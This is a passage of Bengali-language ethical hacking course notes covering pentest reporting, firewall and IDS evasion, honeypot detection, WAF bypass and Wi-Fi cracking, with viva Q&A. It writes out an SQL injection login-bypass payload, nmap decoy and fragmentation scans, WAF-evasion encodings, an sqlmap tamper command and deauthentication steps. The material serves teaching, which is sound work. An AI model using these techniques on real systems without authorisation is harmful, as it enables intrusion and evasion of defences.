- Vulnerability Summary (Dashboard):** গ্রাফ বা চার্টের মাধ্যমে মোট দুর্বলতার সংখ্যা এবং সেগুলোর তীব্রতা (Critical, High, Medium, Low) ফুটিয়ে তোলা হয়।
- Detailed Technical Findings:** এটি কোম্পানির ডেভেলপার বা আইটি টিম (IT Team)-এর জন্য। এখানে প্রতিটি দুর্বলতার বিস্তারিত বিবরণ থাকে:
 - Vulnerability Name:** দুর্বলতার নাম ও CVE ID।
 - Affected Asset/URL:** কোন সার্ভার বা আইপিতে এটি পাওয়া গেছে।
 - Proof of Concept (PoC):** কীভাবে এটি সনাক্ত করা হলো (যেমন স্ক্রিনশট বা কমান্ড আউটপুট)।
 - Impact:** এই দুর্বলতা ব্যবহার করে হ্যাকার কী ক্ষতি করতে পারে।
 - Remediation / Recommendation:** এটি ফিক্স করার সুনির্দিষ্ট গাইডলাইন বা কোড প্লিপেট।

২. ল্যাব ও প্র্যাকটিক্যাল টাস্ক (Practical Tasks)

পরীক্ষার হলে আপনাকে একটি ডামি রিপোর্টের টেবিল বা ফাইন্ডিংস (Findings) তৈরি করতে বলা হতে পারে। নিচে একটি স্ট্যান্ডার্ড ফাইন্ডিংস ফরম্যাটের ডামি প্র্যাকটিস দেওয়া হলো:

টাস্ক ১: একটি ডামি টেকনিক্যাল ফাইন্ডিং (Technical Finding Table) তৈরি করুন

Field	Details
Vulnerability Name	SQL Injection (Authentication Bypass)
Severity / CVSS	Critical (9.8) / CVE-202X-XXXX
Target Host / URL	http://192.168.1.50/login.php
Description	দ্য লগইন ফর্ম ডাজ নট স্যানিটাইজ দ্য ইউজার ইনপুট, অ্যালাউইং কুয়েরি ম্যানিপুলেশন।
Proof of Concept (PoC)	Inputting admin' OR '1'='1 in the username field bypasses authentication.

Remediation	Use Prepared Statements (Parameterized Queries) in PHP PDO or MySQLi.
-------------	---

৩. ভাইবা প্রস্তুতি ও সম্ভাব্য প্রশ্ন (Viva Q&A)

- প্রশ্ন ১: একটি সিকিউরিটি রিপোর্টের "Executive Summary" কেন লেখা হয় এবং এটি কাদের জন্য তৈরি করা হয়?
- উত্তর: এক্সিকিউটিভ সামারি মূলত প্রতিষ্ঠানের অ-কারিগরি সিদ্ধান্ত গ্রহণকারী ব্যক্তি যেমন **CEO, CTO** বা ডিরেক্টরদের জন্য তৈরি করা হয়। তারা যেন কোনো জটিল টেকনিক্যাল কোড না বুঝেও এক নজরে বুঝতে পারেন সিস্টেমের মূল নিরাপত্তা ঝুঁকিগুলো কী কী, এর ব্যবসায়িক প্রভাব কতটা এবং তা সমাধানের জন্য কী পরিমাণ বাজেট বা রিসোর্সের প্রয়োজন।
- প্রশ্ন ২: রিপোর্টে "Remediation" বা "Recommendation" সেকশনের গুরুত্ব কী?
- উত্তর: একজন সিকিউরিটি প্রফেশনালের কাজ শুধু সিস্টেমে ত্রুটি খুঁজে বের করা নয়, বরং তা সমাধানের পথ দেখানো। Remediation সেকশনে ডেভেলপারদের জন্য সুনির্দিষ্ট নির্দেশনা, সিকিউরিটি প্যাচের লিংক বা কোড কারেকশন দেওয়া থাকে, যা দেখে তারা দ্রুত এবং সঠিকভাবে ওই সিস্টেমের দুর্বলতাটি ফিক্স (Fix) বা প্যাচ করতে পারেন।
- প্রশ্ন ৩: রিপোর্টে "Proof of Concept (PoC)" বলতে কী বোঝায়? এটি কেন যুক্ত করা আবশ্যিক?
- উত্তর: Proof of Concept (PoC) হলো একটি বাস্তব প্রমাণ বা ধাপের বিবরণ (যেমন কম্যান্ড, পেলোড বা স্ক্রিপশন), যা দিয়ে নিশ্চিত করা হয় যে দুর্বলতাটি আসলেই সিস্টেমে বিদ্যমান। এটি যুক্ত করা আবশ্যিক যেন ক্লায়েন্টের আইটি টিম নিজে সেই ধাপগুলো অনুসরণ করে দুর্বলতাটি পুনঃপরীক্ষা (Verify) করতে পারে এবং এটি কোনো "False Positive" বা ভুল অ্যালার্ট নয় তা নিশ্চিত হতে পারে।

আপনার জন্য কাজ (Task for You):

VA রিপোর্টের ৩টি মূল অংশ (Executive Summary, Technical Findings, Remediation) এবং উপরের ফাইন্ডিংস টেবিলটির ফরম্যাট খুব ভালো করে মাথায় গেঁথে নিন। পড়া সম্পূর্ণ হলে এবং পরবর্তী মডিউলের ("Information Security Systems Bypass") জন্য প্রস্তুত থাকলে নিচে লিখুন "১৬তম ক্লাস" বা **"Class 16"**।



Class 16: Information Security Systems Bypass (Firewall & IDS Concepts)

সিলেবাসের অংশ: Apply the Techniques of Information Security Systems Bypass — Interpret Information security systems bypass concept [OUCyS008L4V!]

১৫তম ক্লাসে আমরা ভালনারেবিলিটি অ্যাসেসমেন্ট (VA) এবং রিপোর্টিং মডিউলটি সাফল্যের সাথে শেষ করেছি। আজ ১৬তম ক্লাস থেকে শুরু হচ্ছে আমাদের সিলেবাসের আরেকটি অত্যন্ত অ্যাডভান্সড ও রোমাঞ্চকর মডিউল:

"Information Security Systems Bypass"।

বাস্তব ক্ষেত্রে বা পরীক্ষায় যখন আপনি কোনো সিস্টেমের সিকিউরিটি চেক করতে যাবেন, তখন সেখানে ডিফেন্স মেকানিজম যেমন ফায়ারওয়াল বা আইডিএস অ্যাক্টিভ থাকবে। একজন পেনটেস্টার হিসেবে এগুলো কীভাবে কাজ করে এবং এদের চোখ ফাঁকি দিয়ে কীভাবে স্ক্যানিং বা ইনভেস্টিগেশন চালানো যায়, তা আজ আমরা জানব।

১. মূল তত্ত্ব (Core Theory)

সিস্টেম বাইপাস শেখার আগে আমাদের জানতে হবে সিকিউরিটি সিস্টেমগুলো মূলত কী এবং কীভাবে ট্রাফিক ফিল্টার করে:

ক. ফায়ারওয়াল (Firewall)

ফায়ারওয়াল হলো একটি নেটওয়ার্ক সিকিউরিটি সিস্টেম যা পূর্বনির্ধারিত সিকিউরিটি রুলসের ওপর ভিত্তি করে ইনকামিং (Incoming) এবং আউটগোয়িং (Outgoing) নেটওয়ার্ক ট্রাফিক মনিটর এবং নিয়ন্ত্রণ করে।

- **Packet Filtering Firewall:** এটি নেটওয়ার্ক প্যাকেটের সোর্স আইপি, ডেস্টিনেশন আইপি এবং পোর্ট নম্বর চেক করে ট্রাফিক অ্যালাউ বা ব্লক করে।
- **WAF (Web Application Firewall):** এটি অ্যাপ্লিকেশন লেয়ারে (HTTP/HTTPS ট্রাফিক) কাজ করে এবং SQLi বা XSS এর মতো স্পেসিফিক ওয়েব অ্যাটাক ব্লক করে।

খ. IDS এবং IPS

- **IDS (Intrusion Detection System):** এটি নেটওয়ার্কে কোনো ক্ষতিকর বা সন্দেহজনক অ্যাক্টিভিটি (যেমন অনবরত পোর্ট স্ক্যানিং) ঘটলে তা ডিটেক্ট করে অ্যাডমিনকে অ্যালার্ট পাঠায়। এটি ট্রাফিক ব্লক করতে পারে না (Passive Defense)।
- **IPS (Intrusion Prevention System):** এটি একধাপ এগিয়ে ক্ষতিকর ট্রাফিক ডিটেক্ট করার পাশাপাশি সেটিকে স্বয়ংক্রিয়ভাবে ব্লক বা ড্রপ করে দিতে পারে (Active Defense)।

গ. বাইপাস বা ইভেশন (Evasion Concepts)

হ্যাকার বা পেনটেস্টাররা এই সিস্টেমগুলোর নজরদারি এড়াতে বিভিন্ন টেকনিক ব্যবহার করেন:

1. **Fragmentation:** একটি বড় স্ক্যানিং প্যাকেটকে ছোট ছোট টুকরো করে পাঠানো, যেন ফায়ারওয়াল বা আইডিএস সিগনেচার মেলাতে না পেরে বিভ্রান্ত হয়।
2. **Obfuscation/Encoding:** পেলোডকে সাধারণ টেক্সটে না পাঠিয়ে URL Encoding, Base64 বা Hexadecimal ফরম্যাটে রূপান্তর করে পাঠানো।
3. **Decoy Scanning:** নিজের আইপির পাশাপাশি আরও অনেকগুলো ভুয়া বা ডামি আইপি একসাথে স্ক্যানিংয়ে ব্যবহার করা, যেন ডিফেন্ডার আসল হ্যাকারকে আইডেন্টিফাই করতে না পারে।

②. ল্যাব ও প্র্যাকটিক্যাল টাস্ক (Practical Tasks)

পরীক্ষায় ফায়ারওয়াল বা আইডিএস ফাঁকি দিয়ে Nmap স্ক্যান করার টেকনিকগুলো প্রদর্শন করতে বলা হয়। Kali Linux টার্মিনালে নিচের কমান্ডগুলো আয়ত্ত করুন:

টাস্ক ১: প্যাকেট ফ্র্যাগমেন্টেশন স্ক্যান (Packet Fragmentation)

ফায়ারওয়ালকে ফাঁকি দিতে প্যাকেটগুলোকে ছোট ছোট টুকরো করে স্ক্যান করার কমান্ড:

Bash

```
nmap -f 192.168.1.50
```

(ব্যাখ্যা: -f ফ্ল্যাগটি নির্দেশ করে যে Nmap তার স্ক্যানিং প্যাকেটগুলোকে ৮-বাইটের ছোট ছোট খণ্ডে (Fragments) বিভক্ত করবে, যা অনেক সাধারণ প্যাকেট-ফিল্টারিং ফায়ারওয়াল সনাক্ত করতে পারে না।)

টাস্ক ২: ডেকয় স্ক্যান (Decoy Scanning)

টার্গেটের লগ ফাইলে নিজের আইপি লুকিয়ে আরও ৫টি আইপির সাথে একসাথে স্ক্যান করার পদ্ধতি:

Bash

```
nmap -D 192.168.1.10,192.168.1.20,ME 192.168.1.50
```

(ব্যাখ্যা: -D মানে Decoy। এখানে টার্গেট সিস্টেমের অ্যাডমিন লগে দেখতে পাবেন একসাথে তিনটি ভিন্ন আইপি থেকে স্ক্যান হচ্ছে। এর মধ্যে ME হলো আপনার আসল আইপি, যা বাকি ডামি আইপিগুলোর ভিড়ে ডিফেন্ডার সহজে আলাদা করতে পারবে না।)

③. ভাইবা প্রস্তুতি ও সম্ভাব্য প্রশ্ন (Viva Q&A)

- প্রশ্ন ১: IDS এবং IPS এর মধ্যে প্রধান কার্যকরী পার্থক্য কী?
- উত্তর: IDS (Intrusion Detection System) শুধুমাত্র নেটওয়ার্ক ট্রাফিক মনিটর করে এবং কোনো সন্দেহজনক বা ক্ষতিকর আক্রমণ সনাক্ত করলে অ্যাডমিনকে অ্যালার্ট বা নোটিফিকেশন পাঠায়, এটি আক্রমণ প্রতিরোধ করতে পারে না। অন্যদিকে, IPS (Intrusion Prevention System) ক্ষতিকর ট্রাফিক ডিটেক্ট করার সাথে সাথে সেটিকে স্বয়ংক্রিয়ভাবে ব্লক, ড্রপ বা নেটওয়ার্ক থেকে বিচ্ছিন্ন করে দিতে পারে।

- প্রশ্ন ২: ফায়ারওয়াল ইভেশনের ক্ষেত্রে *Nmap*-এ *Decoy* স্ক্যান (-D) কেন ব্যবহার করা হয়?
- উত্তর: ডেকয় স্ক্যান ব্যবহার করা হয় মূলত হ্যাকারের আসল আইপি অ্যাড্রেসকে ডিফেন্ডারদের নজর থেকে আড়াল করার জন্য। এই কমান্ডের মাধ্যমে আসল আইপির সাথে আরও কয়েকটি ভুয়া বা ডামি আইপি মিশিয়ে একযোগে স্ক্যান করা হয়, ফলে টার্গেট সার্ভারের লগে অনেকগুলো আইপি দেখায় এবং আসল আক্রমণকারীকে আইডেন্টিফাই করা কঠিন হয়ে পড়ে।
- প্রশ্ন ৩: *Obfuscation* বা এনকোডিং কীভাবে একটি *Web Application Firewall (WAF)* বাইপাস করতে সাহায্য করে?
- উত্তর: অনেক WAF ইনকামিং ট্রাফিকের ভেতর সরাসরি `UNION SELECT` বা `<script>` এর মতো নির্দিষ্ট টেক্সট বা সিগনেচার খোঁজে। হ্যাকাররা যখন এই পেলাডগুলোকে URL এনকোডিং (যেমন: `%3Cscript%3E`) বা Hex কোডে রূপান্তর (Obfuscate) করে পাঠায়, তখন WAF এর সিগনেচার ম্যাচিং ইঞ্জিন অনেক সময় এটিকে সাধারণ ডাটা মনে করে ছেড়ে দেয়, কিন্তু ব্যাকএন্ডে গিয়ে কোডটি আবার ডিকোড হয়ে এক্সিকিউট হয়ে যায়।

আপনার জন্য কাজ (Task for You):

প্যাকেট ফ্র্যাগমেন্টেশন (-f) এবং ডেকয় স্ক্যান (-D) এর কমান্ড ও লজিক খুব ভালো করে রিভিশন দিন। ভাইবার প্রশ্নগুলো মুখস্থ করে নিন। পড়া সম্পূর্ণ হলে নিচে লিখুন "১৭তম ক্লাস" বা "Class 17"।



Class 17: Honey-pots & Web Application Firewall (WAF) Bypass

সিলেবাসের অংশ: Apply the Techniques of Information Security Systems Bypass — Evade Firewalls, IDS, and Honey pots [OUCyS008L4V!]

১৬তম ক্লাসে আমরা ফায়ারওয়াল ও আইডিএস (IDS)-এর বেসিক কনসেপ্ট এবং প্যাকেট ফ্র্যাগমেন্টেশন ও ডেকয় স্ক্যানিংয়ের মতো ইভেশন টেকনিকগুলো শিখেছি। আজ ১৭তম ক্লাসে আমরা জানব **Honey pot** (হানিপট) কী এবং কীভাবে এন্টারপ্রাইজ লেভেলের **WAF (Web Application Firewall)** বাইপাস বা এভয়েড করে অ্যাপ্লিকেশন টেস্টিং করতে হয়। এর মাধ্যমে আমাদের "Information Security Systems Bypass" মডিউলটি সম্পন্ন হবে।

১. মূল তত্ত্ব (Core Theory)

ক. হানিপট (Honey pot) কী?

হানিপট হলো নেটওয়ার্কে ইচ্ছাকৃতভাবে রেখে দেওয়া একটি ভুয়া বা ছদ্মবেশী সিস্টেম (Decoy System), যা দেখতে হুবহু একটি আসল এবং দুর্বল সার্ভারের মতো মনে হয় (যেমন একটি ভুয়া ব্যাংকিং পোর্টাল বা দুর্বল ডাটাবেজ)।

- মূল উদ্দেশ্য: হ্যাকার বা আক্রমণকারীদের ধোঁকা দিয়ে আসল নেটওয়ার্ক থেকে দূরে রাখা এবং তাদের আক্রমণের ধরন, ব্যবহৃত টুলস ও আইপি অ্যাড্রেস মনিটর করা।
- ধরণ: 1. *Low-interaction Honey pot*: শুধু নির্দিষ্ট কিছু সার্ভিস অনুকরণ (Imitate) করে, প্রোডাকশন ওএসের অ্যাক্সেস দেয় না।
- 2. *High-interaction Honey pot*: আসল অপারেটিং সিস্টেমের অ্যাক্সেস দেয়, যাতে হ্যাকারের রিয়েল-টাইম অ্যাক্টিভিটি গভীরভাবে ট্র্যাক করা যায়।

খ. Web Application Firewall (WAF) Bypass টেকনিক

১০ম ক্লাসে আমরা WAF সম্পর্কে জেনেছি। এটি মূলত সিগনেচার বা রুলস ম্যাচিংয়ের মাধ্যমে কাজ করে। একে বাইপাস করার কিছু প্রচলিত অ্যাডভান্সড মেথড:

1. **Case Manipulation**: WAF যদি ছোট হাতের অক্ষরে লেখা `select` বা `script` ব্লক করার জন্য কনফিগার করা থাকে, তবে বড়-ছোট হাত মিলিয়ে লিখে (যেমন: `sEIEcT` বা `<ScRiPt>`) একে বাইপাস করা যায়।
2. **Inline Comments**: `SQLi` বা এক্সপ্লয়েটের মাঝে লিনাক্স বা এসকিউএল কমেন্ট পুশ করে সিগনেচার ভেঙে দেওয়া হয়। যেমন: `UNI/**/ON SE/**/LECT`। WAF এটিকে একটি একক শব্দ হিসেবে চিনতে পারে না, কিন্তু ব্যাকএন্ড ডাটাবেজ কমেন্টটুকু বাদ দিয়ে মূল কমান্ড ঠিকই এক্সিকিউট করে।

3. **Double Encoding:** পেলোডকে একবারের জায়গায় দুবার ইউআরএল এনকোড করা। যেমন: $\rightarrow \%3C\rightarrow \%253C$ । অনেক WAF প্রথমবার ডিকোড করার পর আর চেক করে না, ফলে ম্যালিসিয়াস কোডটি ভেতরে চলে যায়।

২. ল্যাব ও প্র্যাক্টিক্যাল টাস্ক (Practical Tasks)

পরীক্ষায় হানিপট ডিটেকশন এবং WAF এভয়েড করার ট্রিকস প্র্যাকটিস করতে হতে পারে।

টাস্ক ১: হানিপট সনাক্তকরণ (Honeypot Detection using Nmap)

হানিপট চেনার একটি বড় উপায় হলো—সেটি হ্যাকারের পাঠানো যেকোনো স্ক্যানিং প্যাকেটের ক্ষেত্রেই অস্বাভাবিক রকম পজিটিভ রেসপন্স দেবে (যেমন ১০০০টি পোর্টের সবকটিই ওপেন দেখাবে)। এটি চেক করার জন্য Nmap স্ক্রিপ্ট ব্যবহার করা যায়:

Bash

```
nmap -p 80 --script http-honeypot-detector 192.168.1.50
```

(ব্যাখ্যা: এই স্ক্রিপ্টটি টার্গেটের ওয়েব সার্ভারের রেসপন্স হেডার ও প্যাটার্ন অ্যানালাইসিস করে এটি হানিপট কিনা তা সনাক্ত করার চেষ্টা করে।)

টাস্ক ২: SQLmap-এ Tamper Scripts ব্যবহার (WAF Bypass)

বাস্তব ক্ষেত্রে WAF-এর চোখ ফাঁকি দিয়ে স্বয়ংক্রিয়ভাবে SQLi টেস্ট করতে SQLmap-এর বিল্ট-ইন **Tamper Scripts** ব্যবহার করা হয়, যা পেলোডকে স্বয়ংক্রিয়ভাবে অবফাসকেট (Obfuscate) বা পরিবর্তন করে দেয়।

Bash

```
sqlmap -u "http://target.com/index.php?id=1" --tamper=space2comment,charencode
```

(ব্যাখ্যা: এখানে space2comment টেম্পারটি সব স্পেসকে `/**/` কমেন্ট দিয়ে বদলে দেবে এবং charencode ক্যারেক্টারগুলোকে এনকোড করে WAF বাইপাস করতে সাহায্য করবে।)

৩. ভাইবা প্রস্তুতি ও সম্ভাব্য প্রশ্ন (Viva Q&A)

- প্রশ্ন ১: সাইবার সিকিউরিটিতে *"Honeypot"* ব্যবহারের মূল সুবিধা কী?
- উত্তর: হানিপটের মূল সুবিধা হলো এটি ক্রিম টিম বা ডিফেন্ডারদের জন্য একটি আগাম সতর্কবার্তা (Early Warning System) হিসেবে কাজ করে। যেহেতু হানিপটে সাধারণ কোনো প্রোডাকশন ট্রাফিক আসার কথা নয়, তাই সেখানে যেকোনো ধরনের হিট বা লগইন চেষ্টা হওয়া মাত্রই তা নিশ্চিতভাবে একটি আক্রমণ হিসেবে গণ্য হয় এবং ডিফেন্ডাররা আসল সার্ভার আক্রান্ত হওয়ার আগেই হ্যাকারের আইপি ও মেথডলজি ব্লক করার সুযোগ পান।
- প্রশ্ন ২: *SQL Injection* টেস্ট করার সময় `UNION/**/SELECT` এই ধরনের পেলোড কেন ব্যবহার করা হয়?
- উত্তর: এটি মূলত **WAF Bypass** করার জন্য একটি ব্ল্যাক-বক্স টেস্ট টেকনিক। অনেক ডব্লিউএফ (WAF) কেবল `UNION SELECT` এই সুনির্দিষ্ট স্ট্রিং বা শব্দগুচ্ছের উপস্থিতি ট্রাফিকের ভেতর খোঁজে। মাঝখানে কমেন্ট ট্যাগ `/**/` ব্যবহার করলে WAF-এর সিগনেচার ম্যাচিং ব্যর্থ হয়, কিন্তু ব্যাকএন্ড ডাটাবেজ কমেন্ট অংশটি এড়িয়ে গিয়ে `UNION SELECT` কমান্ড হিসেবেই প্রসেস করে।
- প্রশ্ন ৩: একটি হানিপট সনাক্ত করার প্রাথমিক লক্ষণ কী হতে পারে?
- উত্তর: হানিপট সনাক্ত করার প্রধান লক্ষণ হলো এর অত্যন্ত ধীরগতির রেসপন্স অথবা অস্বাভাবিক রকমের কনফিগারেশন। যেমন: স্ক্যান করার সময় দেখা যেতে পারে একটি সাধারণ সার্ভারের শত শত অবাস্তব পোর্ট ওপেন দেখাচ্ছে, অথবা সিস্টেমের ব্যানার বা সার্ভিস সংস্করণগুলো ইচ্ছাকৃতভাবে অনেক পুরনো ও দুর্বল দেখাচ্ছে যা সাধারণত রিয়েল প্রোডাকশনে থাকে না।

আপনার জন্য কাজ (Task for You):

হানিপটের প্রকারভেদ, WAF বাইপাসের ৩টি টেকনিক এবং SQLmap-এর টেম্পার স্ক্রিপ্টের লজিক ভালো করে রিভিশন দিন। এর মাধ্যমে এই মডিউলটি শেষ হলো। পড়া সম্পন্ন হলে এবং পরবর্তী নতুন মডিউলের জন্য প্রস্তুত থাকলে নিচে লিখুন "১৮তম ক্লাস" বা **"Class 18"**।



Class 18: Wireless Network Hacking & Wi-Fi Security Concepts

সিলেবাসের অংশ: Apply the Techniques of Wireless Network Hacking — Identify Wireless Encryption types & Analyze wireless traffic [OUCyS005L4V!]

১৭তম ক্লাসে আমরা সফলভাবে সিস্টেম বাইপাস মডিউলটি শেষ করেছি। আজ ১৮তম ক্লাস থেকে শুরু হচ্ছে আমাদের সিলেবাসের আরেকটি গুরুত্বপূর্ণ এবং ২৫ ঘন্টার মডিউল: **"Wireless Network Hacking"**।

বাসাবাড়ি বা কর্পোরেট অফিসে ওয়াই-ফাই নেটওয়ার্কের ব্যবহার সর্বব্যাপী। এই ওয়্যারলেস নেটওয়ার্কগুলোর নিরাপত্তা কীভাবে নিশ্চিত করা হয় এবং হ্যাকাররা কীভাবে এগুলো ব্রেক করে, আজ আমরা তার মূল ভিত্তিগুলো জানব।

১. মূল তত্ত্ব (Core Theory)

ওয়্যারলেস বা ওয়াই-ফাই নেটওয়ার্কের ডাটা বাতাসে ভেসে বেড়ায়, তাই এর নিরাপত্তা সম্পূর্ণভাবে নির্ভর করে **Encryption** (এনক্রিপশন) বা ডাটা লক করার পদ্ধতির ওপর।

ক. ওয়্যারলেস এনক্রিপশনের প্রকারভেদ (**Wireless Encryption Types**)

ভাইবা বোর্ডে ওয়াই-ফাই সিকিউরিটি প্রোটোকলগুলোর বিবর্তন এবং তাদের পার্থক্য থেকে নিশ্চিত প্রশ্ন আসে:

1. **WEP (Wired Equivalent Privacy)**: এটি ওয়াই-ফাইয়ের সবচেয়ে পুরনো (১৯৯৭ সালের) সিকিউরিটি প্রোটোকল। এতে **RC4** স্ট্রিম সাইফার ব্যবহার করা হতো। এর মেকানিজম অত্যন্ত দুর্বল হওয়ায় মাত্র কয়েক মিনিটের মধ্যে WEP যুক্ত ওয়াই-ফাই হ্যাক করা সম্ভব। বর্তমানে এটি আর ব্যবহৃত হয় না।
2. **WPA (Wi-Fi Protected Access)**: WEP-এর দুর্বলতা সাময়িকভাবে দূর করতে এটি আনা হয়। এতে **TKIP (Temporal Key Integrity Protocol)** ব্যবহার করা হতো, যা প্রতি প্যাকেটে এনক্রিপশন কি (Key) পরিবর্তন করত। তবে এটিও এখন অনিরাপদ।
3. **WPA2**: এটি বর্তমানে বিশ্বজুড়ে সবচেয়ে বেশি ব্যবহৃত ওয়াই-ফাই সিকিউরিটি স্ট্যান্ডার্ড। এটি অত্যন্ত শক্তিশালী **AES (Advanced Encryption Standard)** এবং **CCMP** প্রোটোকল ব্যবহার করে ডাটা এনক্রিপ্ট করে।
4. **WPA3**: এটি ওয়াই-ফাই নিরাপত্তার সর্বাধুনিক সংস্করণ। এটি ডিকশনারি বা ব্রুট-ফোর্স অ্যাটাক প্রতিরোধ করতে **SAE (Simultaneous Authentication of Equals)** হ্যান্ডশেক মেকানিজম ব্যবহার করে, যা WPA2-এর চেয়েও অনেক বেশি নিরাপদ।

খ. **Wi-Fi Four-Way Handshake** (ফোর-ওয়ে হ্যান্ডশেক)

WPA/WPA2 নেটওয়ার্কে যখন কোনো ডিভাইস (যেমন আপনার ফোন) রাউটারের সাথে পাসওয়ার্ড মিলিয়ে কানেক্ট হতে যায়, তখন ব্যাকএন্ডে ৪টি মেসেজ আদান-প্রদান হয়। একে **4-Way Handshake** বলে। হ্যাকাররা বাতাসে ভেসে থাকা এই ৪টি প্যাকেটের ট্রাফিক ক্যাপচার (Capture) করে অফলাইনে ব্রুট-ফোর্স বা ডিকশনারি অ্যাটাক চালিয়ে ওয়াই-ফাইয়ের আসল পাসওয়ার্ড বের করে ফেলে।

②. ল্যাব ও প্র্যাক্টিক্যাল টাস্ক (Practical Tasks)

পরীক্ষায় ওয়্যারলেস পেনটেস্টিংয়ের প্রাথমিক কমান্ডগুলো জানতে চাওয়া হতে পারে। Kali Linux-এ ব্যবহৃত প্রধান টুলগুলোর কাজ জেনে রাখুন:

- **Task 1 (Monitor Mode Enabled)**: ওয়াই-ফাই কার্ডকে বাতাসে ভেসে থাকা সমস্ত ট্রাফিক শোনার উপযোগী করতে (Monitor Mode) লিনাক্সে **airmon-ng** টুল ব্যবহার করা হয়।

```
• Bash
```

```
sudo airmon-ng start wlan0
```

- (ব্যখ্যা: এই কমান্ডটি আপনার ওয়াই-ফাই ইন্টারফেস **wlan0**-কে মনিটর মোডে নিয়ে যাবে, যার ফলে ইন্টারফেসের নাম বদলে সাধারণত **wlan0mon** হয়।)
- **Task 2 (Wireless Traffic Scanning)**: আশেপাশের সব ওয়াই-ফাই নেটওয়ার্ক এবং তাদের এনক্রিপশন টাইপ লাইভ দেখার জন্য কমান্ড:

• Bash

sudo arodump-ng wlan0mon

- (ব্যখ্যা: এই কমান্ডটি রান করলে আশেপাশের সব ওয়াই-ফাইয়ের *BSSID (Mac Address)*, *ESSID (Wi-Fi Name)*, *Channel* এবং সেটি *WPA2* নাকি *WEP* ব্যবহার করছে তা স্ক্রিনে লাইভ দেখাবে।)

③. ভাইবা প্রস্তুতি ও সম্ভাব্য প্রশ্ন (Viva Q&A)

- প্রশ্ন ১: *WPA2* এবং *WPA3* সিকিউরিটি প্রোটোকলের মধ্যে প্রধান টেকনিক্যাল পার্থক্য কী?
- উত্তর: *WPA2* নেটওয়ার্কে হ্যাকাররা বাতাসে ভেসে থাকা হ্যান্ডশেক প্যাকেট (4-Way Handshake) ক্যাপচার করে অফলাইনে ডিকশনারি অ্যাটাক চালাতে পারে, যা সফল হলে পাসওয়ার্ড ফাঁস হয়ে যায়। কিন্তু *WPA3* প্রোটোকেলে **SAE (Simultaneous Authentication of Equals)** মেকানিজম ব্যবহার করায় হ্যাকাররা চাইলেও অফলাইন ব্রুট-ফোর্স বা ডিকশনারি অ্যাটাক চালাতে পারে না, ফলে পাসওয়ার্ড ভাঙা অসম্ভব হয়ে পড়ে।
- প্রশ্ন ২: ওয়াই-ফাই পেনটেস্টিংয়ের ক্ষেত্রে "*Monitor Mode*" এবং সাধারণ "*Managed Mode*"-এর মধ্যে পার্থক্য কী?
- উত্তর: সাধারণ *Managed Mode*-এ একটি ওয়াই-ফাই কার্ড শুধু সেই প্যাকেটগুলোই গ্রহণ করে যা নির্দিষ্টভাবে তার নিজের আইপি বা ম্যাক অ্যাড্রেসের উদ্দেশ্যে পাঠানো হয়েছে। আর *Monitor Mode* এনাবল করলে ওয়াই-ফাই কার্ডটি তার সীমানার মধ্যে বাতাসে ভেসে থাকা সমস্ত নেটওয়ার্কের প্রতিটি প্যাকেট (অন্য ডিভাইসের ট্রাফিকও) ক্যাপচার বা মনিটর করতে পারে।
- প্রশ্ন ৩: *WPS (Wi-Fi Protected Setup)* কী এবং এটি অন থাকলে ওয়াই-ফাই নেটওয়ার্কে কী ঝুঁকি তৈরি হয়?
- উত্তর: *WPS* হলো একটি ফিচার যা পাসওয়ার্ড টাইপ না করেই মাত্র ৮ ডিজিটের একটি সংখ্যার পিন (PIN) ব্যবহার করে দ্রুত ওয়াই-ফাই কানেক্ট করার সুবিধা দেয়। তবে এই ৮ ডিজিটের পিনটি ব্রুট-ফোর্স করা হ্যাকারদের জন্য অত্যন্ত সহজ (যেমন *Reaver* টুল দিয়ে)। *WPS* অন থাকলে হ্যাকাররা মূল ওয়াই-ফাই পাসওয়ার্ড যত কঠিনই হোক না কেন, মাত্র কয়েক ঘন্টার মধ্যে *WPS* পিন ক্র্যাক করে নেটওয়ার্কে ঢুকে যেতে পারে।

আপনার জন্য কাজ (Task for You):

ওয়াই-ফাই এনক্রিপশনের ৪টি টাইপ (*WEP*, *WPA*, *WPA2*, *WPA3*), মনিটর মোডের কমান্ড এবং ফোর-ওয়ে হ্যান্ডশেকের কনসেপ্ট খুব ভালো করে রিভিশন দিন। পড়া সম্পন্ন হলে নিচে লিখুন "১৯তম ক্লাস" বা "**Class 19**"।



Class 19: Wireless Network Exploitation & WPA/WPA2 Cracking

সিলেবাসের অংশ: Apply the Techniques of Wireless Network Hacking — Perform wireless hacking using tools & Implement wireless countermeasures [OUCyS005L4V!]

১৮তম ক্লাসে আমরা ওয়াই-ফাই এনক্রিপশনের বিবর্তন (*WEP*, *WPA2*, *WPA3*), মনিটর মোড এবং ৪-ওয়ে হ্যান্ডশেকের খিওরি জেনেছি। আজ ১৯তম ক্লাসে আমরা দেখব কীভাবে বাস্তব ক্ষেত্রে *WPA/WPA2* হ্যান্ডশেক ক্যাপচার করা হয়, অফলাইন ডিকশনারি অ্যাটাক কীভাবে কাজ করে এবং এই নেটওয়ার্কগুলোকে নিরাপদ করার উপায় বা Countermeasures কী। এর মাধ্যমে আমাদের "**Wireless Network Hacking**" মডিউলটি সম্পন্ন হবে।

১. মূল তত্ত্ব (Core Theory)

WPA/WPA2 পাসওয়ার্ড ক্র্যাক করার প্রফেশনাল মেথডলজি মূলত ৩টি ধাপে কাজ করে:

ক. ধাপ ১: হ্যান্ডশেক ক্যাপচারিং (**Handshake Capturing**)

আমরা জানি, একটি নতুন ডিভাইস যখন রাউটারের সাথে কানেক্ট হয়, তখনই কেবল ৪-৫য়ে হ্যান্ডশেক বাতাসে জেনারেট হয়। কিন্তু ল্যাবে বা টেস্ট করার সময় তো আমরা ঘন্টার পর ঘন্টা বসে থাকতে পারি না যে কখন একজন নতুন ইউজার কানেক্ট হবে।

- তাই হ্যাকাররা **Deauthentication (Deauth) Attack** চালায়। এই অ্যাটাকে রাউটার এবং অলরেডি কানেক্টেড থাকা ডিভাইসের মাঝখানে একটি ফেক ডিসকানেক্ট প্যাকেট পাঠানো হয়, যার ফলে ভিকটিম ওয়াই-ফাই থেকে সাময়িক বিচ্ছিন্ন হয়ে যায়। এরপর ভিকটিমের ডিভাইস যখনই স্বয়ংক্রিয়ভাবে রাউটারের সাথে পুনরায় কানেক্ট (Reconnect) হতে যায়, পেনটেষ্টাররা বাতাসে তৈরি হওয়া হ্যান্ডশেক ফাইলটি (.cap বা .pcap ফরম্যাটে) ক্যাপচার করে নেন।

খ. ধাপ ২: অফলাইন ক্র্যাকিং (Offline Password Cracking)

